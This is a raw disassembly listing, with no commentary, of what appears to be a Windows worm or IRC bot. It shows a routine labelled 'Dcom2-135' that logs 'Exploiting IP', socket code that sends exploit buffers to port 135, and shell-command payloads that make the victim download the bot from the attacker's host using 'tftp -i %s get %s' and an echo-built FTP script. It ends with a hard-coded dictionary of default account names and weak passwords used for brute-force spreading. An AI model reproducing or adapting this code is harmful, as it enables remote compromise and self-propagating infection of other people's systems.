		mov	[ebp+var_3018],	eax


loc_41147E:				; CODE XREF: sub_41104D+422j
		cmp	[ebp+var_3018],	6
		jge	loc_411528
		lea	eax, [ebp+var_5228]
		push	eax
		call	sub_4175F6
		pop	ecx
		test	eax, eax
		jz	short loc_411518
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_5228]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		cmp	[ebp+arg_B4], 0
		jnz	short loc_4114EA
		push	0
		push	[ebp+arg_B0]
		lea	eax, [ebp+var_5228]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h


loc_4114EA:				; CODE XREF: sub_41104D+47Dj
		lea	eax, [ebp+var_5228]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		mov	eax, dword_448FF0[eax]
		inc	eax
		mov	ecx, [ebp+arg_A8]
		shl	ecx, 6
		mov	dword_448FF0[ecx], eax
		jmp	short loc_411528
; ---------------------------------------------------------------------------


loc_411518:				; CODE XREF: sub_41104D+44Dj
		push	1388h
		nop
		call	near ptr 27B048Ah
		jmp	loc_411471
; ---------------------------------------------------------------------------


loc_411528:				; CODE XREF: sub_41104D+438j
					; sub_41104D+4C9j
		push	1
		pop	eax

locret_41152B:				; CODE XREF: sub_41104D+5Bj
					; sub_41104D+77j ...
		leave
		retn
sub_41104D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41152D	proc near		; CODE XREF: sub_4116B3+5A1p

var_5A8		= byte ptr -5A8h
var_418		= byte ptr -418h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_44AE18
		push	eax
		call	dword_4E1700	; ntohs
		mov	[ebp+var_E], ax
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_411586
		xor	al, al
		jmp	locret_4116B1
; ---------------------------------------------------------------------------


loc_411586:				; CODE XREF: sub_41152D+50j
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4115A1
		xor	al, al
		jmp	locret_4116B1
; ---------------------------------------------------------------------------


loc_4115A1:				; CODE XREF: sub_41152D+6Bj
		push	0
		push	400h
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_14]
		call	dword_4E1718	; recv
		mov	[ebp+var_18], eax
		push	offset byte_4410E8
		push	offset byte_4410E8
		push	[ebp+arg_0]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		push	190h
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_421B90
		add	esp, 18h
		push	dword_4E1418
		push	[ebp+arg_0]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		push	190h
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_421B90
		add	esp, 14h
		push	0
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5A8]
		push	eax
		push	[ebp+var_14]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41163A
		xor	al, al
		jmp	short locret_4116B1
; ---------------------------------------------------------------------------


loc_41163A:				; CODE XREF: sub_41152D+107j
		push	1F4h
		call	near ptr 27B048Ah
		nop
		push	offset byte_4410E8
		push	offset aS_20	; "%s\r\n"
		push	190h
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp+var_5A8]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5A8]
		push	eax
		push	[ebp+var_14]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41168C
		xor	al, al
		jmp	short locret_4116B1
; ---------------------------------------------------------------------------


loc_41168C:				; CODE XREF: sub_41152D+159j
		push	0
		push	400h
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_14]
		call	dword_4E1718	; recv
		mov	[ebp+var_18], eax
		push	[ebp+var_14]
		call	dword_4E1798	; closesocket
		mov	al, 1

locret_4116B1:				; CODE XREF: sub_41152D+54j
					; sub_41152D+6Fj ...
		leave
		retn
sub_41152D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116B3	proc near		; CODE XREF: .XComp0:00411DE8p
					; .XComp0:00411E1Bp ...

var_89C8	= dword	ptr -89C8h
var_89C4	= byte ptr -89C4h
var_8954	= byte ptr -8954h
var_7E90	= byte ptr -7E90h
var_68EC	= word ptr -68ECh
var_68E8	= byte ptr -68E8h
var_62A8	= byte ptr -62A8h
var_62A7	= byte ptr -62A7h
var_5214	= byte ptr -5214h
var_4750	= byte ptr -4750h
var_474F	= byte ptr -474Fh
var_474C	= dword	ptr -474Ch
var_4748	= dword	ptr -4748h
var_4744	= dword	ptr -4744h
var_4740	= byte ptr -4740h
var_46A0	= byte ptr -46A0h
var_3F94	= dword	ptr -3F94h
var_3F84	= byte ptr -3F84h
var_3F70	= byte ptr -3F70h
var_3F6C	= dword	ptr -3F6Ch
var_3F68	= byte ptr -3F68h
var_3F64	= byte ptr -3F64h
var_3EE8	= byte ptr -3EE8h
var_3718	= byte ptr -3718h
var_326D	= byte ptr -326Dh
var_2F80	= byte ptr -2F80h
var_2F18	= byte ptr -2F18h
var_EA8		= dword	ptr -0EA8h
var_EA4		= dword	ptr -0EA4h
var_EA0		= byte ptr -0EA0h
var_6BC		= byte ptr -6BCh
var_6AC		= byte ptr -6ACh
var_388		= byte ptr -388h
var_384		= byte ptr -384h
var_378		= byte ptr -378h
var_F0		= byte ptr -0F0h
var_ED		= byte ptr -0EDh
var_C3		= byte ptr -0C3h
var_C1		= byte ptr -0C1h
var_C0		= byte ptr -0C0h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_28		= byte ptr -28h
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89C8h
		call	sub_421EE0
		push	esi
		push	edi
		and	[ebp+var_89C8],	0
		mov	eax, dword_44AF98
		mov	[ebp+var_4748],	eax
		mov	eax, dword_44AF9C
		mov	[ebp+var_4744],	eax
		and	[ebp+var_EA8], 0
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_44AFA0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		and	[ebp+var_3F6C],	0
		jmp	short loc_411711
; ---------------------------------------------------------------------------


loc_411704:				; CODE XREF: sub_4116B3+86j
		mov	eax, [ebp+var_3F6C]
		inc	eax
		mov	[ebp+var_3F6C],	eax


loc_411711:				; CODE XREF: sub_4116B3+4Fj
		cmp	[ebp+var_3F6C],	28h
		jge	short loc_41173B
		mov	eax, [ebp+var_3F6C]
		mov	ecx, [ebp+var_3F6C]
		mov	cl, [ebp+ecx+var_28]
		mov	[ebp+eax*2+var_78], cl
		mov	eax, [ebp+var_3F6C]
		and	[ebp+eax*2+var_77], 0
		jmp	short loc_411704
; ---------------------------------------------------------------------------


loc_41173B:				; CODE XREF: sub_4116B3+65j
		push	60h
		push	offset dword_44AA28
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41EBD0
		pop	ecx
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	9
		push	(offset	aC_3+3)
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41EBD0
		pop	ecx
		lea	eax, [ebp+eax*2+var_C1]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41EBD0
		pop	ecx
		movsx	eax, al
		lea	eax, [eax+eax+34h]
		mov	[ebp+var_3F68],	al
		push	1
		lea	eax, [ebp+var_3F68]
		push	eax
		lea	eax, [ebp+var_ED]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41EBD0
		pop	ecx
		movsx	eax, al
		lea	eax, [eax+eax+9]
		mov	[ebp+var_3F70],	al
		push	1
		lea	eax, [ebp+var_3F70]
		push	eax
		lea	eax, [ebp+var_C3]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	ax, word_44AE18
		push	eax
		call	dword_4E1700	; ntohs
		movzx	eax, ax
		xor	eax, 9999h
		mov	[ebp+var_68EC],	ax
		push	2
		lea	eax, [ebp+var_68EC]
		push	eax
		push	offset dword_44A728
		call	sub_422B50
		add	esp, 0Ch
		mov	[ebp+var_EA4], offset loc_44A678
		cmp	[ebp+arg_C0], 0
		jz	loc_411974
		push	0DACh
		push	90h
		lea	eax, [ebp+var_EA0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	4
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		add	eax, offset dword_44AE58
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	[ebp+var_EA4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+var_EA4]
		lea	eax, [ebp+var_6AC]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	4
		push	offset loc_44AFAC
		lea	eax, [ebp+var_388]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	4
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		add	eax, offset dword_44AE58
		push	eax
		lea	eax, [ebp+var_384]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	[ebp+var_EA4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+var_EA4]
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		and	[ebp+var_3F6C],	0
		jmp	short loc_411902
; ---------------------------------------------------------------------------


loc_4118F5:				; CODE XREF: sub_4116B3+283j
		mov	eax, [ebp+var_3F6C]
		inc	eax
		mov	[ebp+var_3F6C],	eax


loc_411902:				; CODE XREF: sub_4116B3+240j
		cmp	[ebp+var_3F6C],	0DACh
		jge	short loc_411938
		mov	eax, [ebp+var_3F6C]
		mov	ecx, [ebp+var_3F6C]
		mov	cl, [ebp+ecx+var_EA0]
		mov	[ebp+eax*2+var_62A8], cl
		mov	eax, [ebp+var_3F6C]
		and	[ebp+eax*2+var_62A7], 0
		jmp	short loc_4118F5
; ---------------------------------------------------------------------------


loc_411938:				; CODE XREF: sub_4116B3+259j
		and	[ebp+var_4750],	0
		and	[ebp+var_474F],	0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_2F80]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89C4]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		jmp	short loc_4119E8
; ---------------------------------------------------------------------------


loc_411974:				; CODE XREF: sub_4116B3+180j
		push	7D0h
		push	90h
		lea	eax, [ebp+var_4740]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	[ebp+var_EA4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+var_EA4]
		lea	eax, [ebp+var_46A0]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		lea	eax, [ebp+var_4748]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_4748]
		push	eax
		lea	eax, [ebp+var_3F84]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		mov	eax, dword_44AE58[eax]
		mov	[ebp+var_3F94],	eax


loc_4119E8:				; CODE XREF: sub_4116B3+2BFj
		push	0E29h
		push	31h
		lea	eax, [ebp+var_3F64]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		movsx	eax, [ebp+var_3F68]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411A2A
		xor	al, al
		jmp	loc_411C6C
; ---------------------------------------------------------------------------


loc_411A2A:				; CODE XREF: sub_4116B3+36Ej
		push	0
		push	640h
		lea	eax, [ebp+var_68E8]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1718	; recv
		mov	[ebp+var_474C],	eax
		push	0
		push	68h
		push	offset dword_44AA8C
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411A6B
		xor	al, al
		jmp	loc_411C6C
; ---------------------------------------------------------------------------


loc_411A6B:				; CODE XREF: sub_4116B3+3AFj
		push	0
		push	640h
		lea	eax, [ebp+var_68E8]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1718	; recv
		mov	[ebp+var_474C],	eax
		push	0
		push	0A0h
		push	offset dword_44AAF8
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411AAF
		xor	al, al
		jmp	loc_411C6C
; ---------------------------------------------------------------------------


loc_411AAF:				; CODE XREF: sub_4116B3+3F3j
		push	0
		push	640h
		lea	eax, [ebp+var_68E8]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1718	; recv
		mov	[ebp+var_474C],	eax
		cmp	[ebp+arg_C0], 0
		jz	loc_411BC5
		push	68h
		push	offset dword_44ACB0
		lea	eax, [ebp+var_2F80]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	1B5Ah
		lea	eax, [ebp+var_62A8]
		push	eax
		lea	eax, [ebp+var_2F18]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	70h
		push	offset dword_44AD1C
		lea	eax, [ebp+var_89C4]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	0A5Eh
		lea	eax, [ebp+var_5214]
		push	eax
		lea	eax, [ebp+var_8954]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	84h
		push	offset dword_44AD90
		lea	eax, [ebp+var_7E90]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_2F80]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411B7D
		xor	al, al
		jmp	loc_411C6C
; ---------------------------------------------------------------------------


loc_411B7D:				; CODE XREF: sub_4116B3+4C1j
		push	0
		push	640h
		lea	eax, [ebp+var_68E8]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1718	; recv
		mov	[ebp+var_474C],	eax
		push	0
		push	0FDCh
		lea	eax, [ebp+var_89C4]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411BC3
		xor	al, al
		jmp	loc_411C6C
; ---------------------------------------------------------------------------


loc_411BC3:				; CODE XREF: sub_4116B3+507j
		jmp	short loc_411C39
; ---------------------------------------------------------------------------


loc_411BC5:				; CODE XREF: sub_4116B3+423j
		push	7Ch
		push	offset dword_44AB9C
		lea	eax, [ebp+var_3F64]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	7D0h
		lea	eax, [ebp+var_4740]
		push	eax
		lea	eax, [ebp+var_3EE8]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	90h
		push	offset off_44AC1C
		lea	eax, [ebp+var_3718]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		and	[ebp+var_326D],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_3F64]
		push	eax
		push	[ebp+arg_BC]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411C39
		xor	al, al
		jmp	short loc_411C6C
; ---------------------------------------------------------------------------


loc_411C39:				; CODE XREF: sub_4116B3:loc_411BC3j
					; sub_4116B3+580j
		push	12Ch
		nop
		call	near ptr 27B048Ah
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_41152D
		add	esp, 0BCh
		movzx	eax, al
		test	eax, eax
		jz	short loc_411C6A
		mov	al, 1
		jmp	short loc_411C6C
; ---------------------------------------------------------------------------


loc_411C6A:				; CODE XREF: sub_4116B3+5B1j
		xor	al, al


loc_411C6C:				; CODE XREF: sub_4116B3+372j
					; sub_4116B3+3B3j ...
		pop	edi
		pop	esi
		leave
		retn
sub_4116B3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 864h
		push	esi
		push	edi
		mov	dword ptr [ebp-860h], 0AD9Ch
		and	dword ptr [ebp-85Ch], 0
		push	10h
		push	0
		lea	eax, [ebp-14h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp-10h], eax
		push	dword ptr [ebp+0A8h]
		call	dword_4E1700	; ntohs
		mov	[ebp-12h], ax
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0FFFFFFFFh
		jnz	short loc_411CDB
		xor	eax, eax
		jmp	loc_411ECF
; ---------------------------------------------------------------------------


loc_411CDB:				; CODE XREF: .XComp0:00411CD2j
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411CF6
		xor	eax, eax
		jmp	loc_411ECF
; ---------------------------------------------------------------------------


loc_411CF6:				; CODE XREF: .XComp0:00411CEDj
		push	0
		push	89h
		push	offset dword_44A810
		push	dword ptr [ebp-4]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411D17
		xor	eax, eax
		jmp	loc_411ECF
; ---------------------------------------------------------------------------


loc_411D17:				; CODE XREF: .XComp0:00411D0Ej
		push	0
		push	640h
		lea	eax, [ebp-858h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4E1718	; recv
		mov	[ebp-218h], eax
		push	0
		push	0A8h
		push	offset dword_44A89C
		push	dword ptr [ebp-4]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411D55
		xor	eax, eax
		jmp	loc_411ECF
; ---------------------------------------------------------------------------


loc_411D55:				; CODE XREF: .XComp0:00411D4Cj
		push	0
		push	640h
		lea	eax, [ebp-858h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4E1718	; recv
		mov	[ebp-218h], eax
		push	0
		push	0DEh
		push	offset dword_44A948
		push	dword ptr [ebp-4]
		call	dword_4E1750	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411D93
		xor	eax, eax
		jmp	loc_411ECF
; ---------------------------------------------------------------------------


loc_411D93:				; CODE XREF: .XComp0:00411D8Aj
		push	0
		push	640h
		lea	eax, [ebp-858h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4E1718	; recv
		mov	[ebp-218h], eax
		mov	al, [ebp-814h]
		mov	[ebp-864h], al
		cmp	byte ptr [ebp-864h], 30h
		jz	short loc_411E06
		cmp	byte ptr [ebp-864h], 31h
		jz	short loc_411DD3
		jmp	loc_411E6C
; ---------------------------------------------------------------------------


loc_411DD3:				; CODE XREF: .XComp0:00411DCCj
		push	0
		push	dword ptr [ebp-4]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4116B3
		add	esp, 0C4h
		movzx	eax, al
		test	eax, eax
		jz	short loc_411E04
		mov	dword ptr [ebp-85Ch], 1


loc_411E04:				; CODE XREF: .XComp0:00411DF8j
		jmp	short loc_411E70
; ---------------------------------------------------------------------------


loc_411E06:				; CODE XREF: .XComp0:00411DC3j
		push	2
		push	dword ptr [ebp-4]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4116B3
		add	esp, 0C4h
		movzx	eax, al
		test	eax, eax
		jnz	short loc_411E60
		push	1
		push	dword ptr [ebp-4]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4116B3
		add	esp, 0C4h
		movzx	eax, al
		test	eax, eax
		jz	short loc_411E5E
		mov	dword ptr [ebp-85Ch], 1


loc_411E5E:				; CODE XREF: .XComp0:00411E52j
		jmp	short loc_411E6A
; ---------------------------------------------------------------------------


loc_411E60:				; CODE XREF: .XComp0:00411E2Bj
		mov	dword ptr [ebp-85Ch], 1


loc_411E6A:				; CODE XREF: .XComp0:loc_411E5Ej
		jmp	short loc_411E70
; ---------------------------------------------------------------------------


loc_411E6C:				; CODE XREF: .XComp0:00411DCEj
		xor	eax, eax
		jmp	short loc_411ECF
; ---------------------------------------------------------------------------


loc_411E70:				; CODE XREF: .XComp0:loc_411E04j
					; .XComp0:loc_411E6Aj
		push	dword ptr [ebp-4]
		call	dword_4E1798	; closesocket
		cmp	dword ptr [ebp-85Ch], 0
		jz	short loc_411ECC
		push	0
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-214h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		mov	eax, dword_448FF0[eax]
		inc	eax
		mov	ecx, [ebp+0B0h]
		shl	ecx, 6
		mov	dword_448FF0[ecx], eax


loc_411ECC:				; CODE XREF: .XComp0:00411E80j
		push	1
		pop	eax


loc_411ECF:				; CODE XREF: .XComp0:00411CD6j
					; .XComp0:00411CF1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1064h
		call	sub_421EE0
		mov	al, byte_4E4440
		mov	[ebp-81Ch], al
		mov	dword ptr [ebp-0A2Ch], offset loc_44AFB4
		mov	dword ptr [ebp-0A28h], offset aRoot ; "root"
		mov	dword ptr [ebp-0A24h], offset aAdmin ; "admin"
		and	dword ptr [ebp-0A20h], 0
		mov	dword ptr [ebp-0C5Ch], offset dword_4E4444
		mov	dword ptr [ebp-0C58h], offset aAdministrator ; "administrator"
		mov	dword ptr [ebp-0C54h], offset aAdministrador ; "administrador"
		mov	dword ptr [ebp-0C50h], offset aAdministrateur ;	"administrateur"
		mov	dword ptr [ebp-0C4Ch], offset aAdministrat ; "administrat"
		mov	dword ptr [ebp-0C48h], offset aAdmins ;	"admins"
		mov	dword ptr [ebp-0C44h], offset aAdmin_0 ; "admin"
		mov	dword ptr [ebp-0C40h], offset aAdm ; "adm"
		mov	dword ptr [ebp-0C3Ch], offset aPassword1 ; "password1"
		mov	dword ptr [ebp-0C38h], offset aPassword	; "password"
		mov	dword ptr [ebp-0C34h], offset aPasswd ;	"passwd"
		mov	dword ptr [ebp-0C30h], offset aPass1234	; "pass1234"
		mov	dword ptr [ebp-0C2Ch], offset aPass ; "pass"
		mov	dword ptr [ebp-0C28h], offset aPwd ; "pwd"
		mov	dword ptr [ebp-0C24h], offset a007 ; "007"
		mov	dword ptr [ebp-0C20h], offset a1 ; "1"
		mov	dword ptr [ebp-0C1Ch], offset a12 ; "12"
		mov	dword ptr [ebp-0C18h], offset a123 ; "123"
		mov	dword ptr [ebp-0C14h], offset a1234 ; "1234"
		mov	dword ptr [ebp-0C10h], offset a12345 ; "12345"
		mov	dword ptr [ebp-0C0Ch], offset a123456 ;	"123456"
		mov	dword ptr [ebp-0C08h], offset a1234567 ; "1234567"
		mov	dword ptr [ebp-0C04h], offset a12345678	; "12345678"
		mov	dword ptr [ebp-0C00h], offset a123456789 ; "123456789"
		mov	dword ptr [ebp-0BFCh], offset a1234567890 ; "1234567890"
		mov	dword ptr [ebp-0BF8h], offset a2000 ; "2000"
		mov	dword ptr [ebp-0BF4h], offset a2001 ; "2001"
		mov	dword ptr [ebp-0BF0h], offset a2002 ; "2002"
		mov	dword ptr [ebp-0BECh], offset a2003 ; "2003"
		mov	dword ptr [ebp-0BE8h], offset a2004 ; "2004"
		mov	dword ptr [ebp-0BE4h], offset aTest ; "test"
		mov	dword ptr [ebp-0BE0h], offset aGuest ; "guest"
		mov	dword ptr [ebp-0BDCh], offset aNone ; "none"
		mov	dword ptr [ebp-0BD8h], offset aDemo ; "demo"
		mov	dword ptr [ebp-0BD4h], offset aUnix ; "unix"
		mov	dword ptr [ebp-0BD0h], offset aLinux ; "linux"
		mov	dword ptr [ebp-0BCCh], offset aChangeme	; "changeme"
		mov	dword ptr [ebp-0BC8h], offset aDefault ; "default"
		mov	dword ptr [ebp-0BC4h], offset aSystem ;	"system"
		mov	dword ptr [ebp-0BC0h], offset aServer_0	; "server"
		mov	dword ptr [ebp-0BBCh], offset aRoot_0 ;	"root"
		mov	dword ptr [ebp-0BB8h], offset aNull ; "null"
		mov	dword ptr [ebp-0BB4h], offset aQwerty ;	"qwerty"
		mov	dword ptr [ebp-0BB0h], offset aMail ; "mail"
		mov	dword ptr [ebp-0BACh], offset aOutlook ; "outlook"
		mov	dword ptr [ebp-0BA8h], offset aWeb ; "web"
		mov	dword ptr [ebp-0BA4h], offset aWww ; "www"
		mov	dword ptr [ebp-0BA0h], offset aInternet	; "internet"
		mov	dword ptr [ebp-0B9Ch], offset aAccounts	; "accounts"
		mov	dword ptr [ebp-0B98h], offset aAccounting ; "accounting"
		mov	dword ptr [ebp-0B94h], offset aHome ; "home"
		mov	dword ptr [ebp-0B90h], offset aHomeuser	; "homeuser"
		mov	dword ptr [ebp-0B8Ch], offset aUser_0 ;	"user"
		mov	dword ptr [ebp-0B88h], offset aOem ; "oem"
		mov	dword ptr [ebp-0B84h], offset aOemuser ; "oemuser"
		mov	dword ptr [ebp-0B80h], offset aOeminstall ; "oeminstall"
		mov	dword ptr [ebp-0B7Ch], offset aWindows ; "windows"
		mov	dword ptr [ebp-0B78h], offset aWin98 ; "win98"
		mov	dword ptr [ebp-0B74h], offset aWin2k ; "win2k"
		mov	dword ptr [ebp-0B70h], offset aWinxp ; "winxp"
		mov	dword ptr [ebp-0B6Ch], offset aWinnt ; "winnt"
		mov	dword ptr [ebp-0B68h], offset aWin2000 ; "win2000"
		mov	dword ptr [ebp-0B64h], offset aQaz ; "qaz"
		mov	dword ptr [ebp-0B60h], offset aAsd ; "asd"
		mov	dword ptr [ebp-0B5Ch], offset aZxc ; "zxc"
		mov	dword ptr [ebp-0B58h], offset aQwe ; "qwe"
		mov	dword ptr [ebp-0B54h], offset aBob ; "bob"
		mov	dword ptr [ebp-0B50h], offset aJen ; "jen"
		mov	dword ptr [ebp-0B4Ch], offset aJoe ; "joe"
		mov	dword ptr [ebp-0B48h], offset aFred ; "fred"
		mov	dword ptr [ebp-0B44h], offset aBill ; "bill"
		mov	dword ptr [ebp-0B40h], offset aMike ; "mike"
		mov	dword ptr [ebp-0B3Ch], offset aJohn ; "john"
		mov	dword ptr [ebp-0B38h], offset aPeter ; "peter"
		mov	dword ptr [ebp-0B34h], offset aLuke ; "luke"
		mov	dword ptr [ebp-0B30h], offset aSam ; "sam"
		mov	dword ptr [ebp-0B2Ch], offset aSue ; "sue"
		mov	dword ptr [ebp-0B28h], offset aSusan ; "susan"
		mov	dword ptr [ebp-0B24h], offset aPeter_0 ; "peter"
		mov	dword ptr [ebp-0B20h], offset aBrian ; "brian"
		mov	dword ptr [ebp-0B1Ch], offset aLee ; "lee"
		mov	dword ptr [ebp-0B18h], offset aNeil ; "neil"
		mov	dword ptr [ebp-0B14h], offset aIan ; "ian"
		mov	dword ptr [ebp-0B10h], offset aChris ; "chris"
		mov	dword ptr [ebp-0B0Ch], offset aEric ; "eric"
		mov	dword ptr [ebp-0B08h], offset aGeorge ;	"george"
		mov	dword ptr [ebp-0B04h], offset aKate ; "kate"
		mov	dword ptr [ebp-0B00h], offset aBob_0 ; "bob"
		mov	dword ptr [ebp-0AFCh], offset aKatie ; "katie"
		mov	dword ptr [ebp-0AF8h], offset aMary ; "mary"
		mov	dword ptr [ebp-0AF4h], offset aLogin_0 ; "login"
		mov	dword ptr [ebp-0AF0h], offset aLoginpass ; "loginpass"
		mov	dword ptr [ebp-0AECh], offset aTechnical ; "technical"
		mov	dword ptr [ebp-0AE8h], offset aBackup ;	"backup"
		mov	dword ptr [ebp-0AE4h], offset aExchange	; "exchange"
		mov	dword ptr [ebp-0AE0h], offset aFuck ; "fuck"
